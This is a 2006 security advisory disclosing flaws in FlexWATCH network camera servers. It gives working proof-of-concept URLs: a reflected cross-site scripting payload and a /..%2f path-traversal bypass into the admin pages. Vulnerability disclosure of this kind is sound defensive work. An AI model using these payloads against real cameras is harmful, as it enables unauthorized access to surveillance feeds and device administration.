Digital Armaments Security Advisory 10.07.2006: Flexwath Authorization Bypassing and XSS Vulnerability

[info () digitalarmaments com]

Digital Armaments advisory is 04.15.2006
http://www.digitalarmaments.com/2006300687985463.html

I. Background

FlexWATCH is a stand-alone network camera server with built-in CMOS camera and web server which deliver crisp real time 
live videos at a rate up to 30fps over the network. It is normally used as security camera.
For further information or detail about the software you can refer to the vendor's homepage:

http://www.flexwatch.com/


II. Problem Description

Flexwatch Network Cameras are vulnerable to two security flaws, allowing a cross site scripting and bypassing the 
protected areas. Here detailed:

- Cross-site scripting:

An attacker can cause a Cross-site-scripting:
http://camera/%3Cscript%3Ealert('www.eazel.es')%3C/script%3E

- Authorization Bypassing:

An attacker can bypass the protection of protected pages using /..%2f and access to administrative area:
Network Camera V3.0: http://camera/..%2fadmin/aindex.asp
Networks Camera Prior versions: http://camera/app/..%2fadmin/aindex.htm


III. Detection

This problem has been detected on latest and older version of Flexwatch Network Cameras.
Network Camera Versions tested on:
- ver 3.0 for FW-3400-A(PAL)
- ver 2.0 (PAL)
- ver 2.3 (NTSC)


IV. Impact analysis

Successful exploitation allow an attacker to bypass authorization and access the image/video of the security camera. 
Cross site attacks are also possible.


V. Solution

First notification 04.16.2006.
Second notification 04.22.2006.
No answer from the vendor.


VI. Credit

Jaime Blasco - jaime.blasco () eazel es is credited with this discovery.

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VII. Legal Notices

Copyright © 2006 Digital Armaments LLC.

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Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently 
available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no 
warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, 
indirect, or consequential loss or damage arising from use of, or reliance on, this information.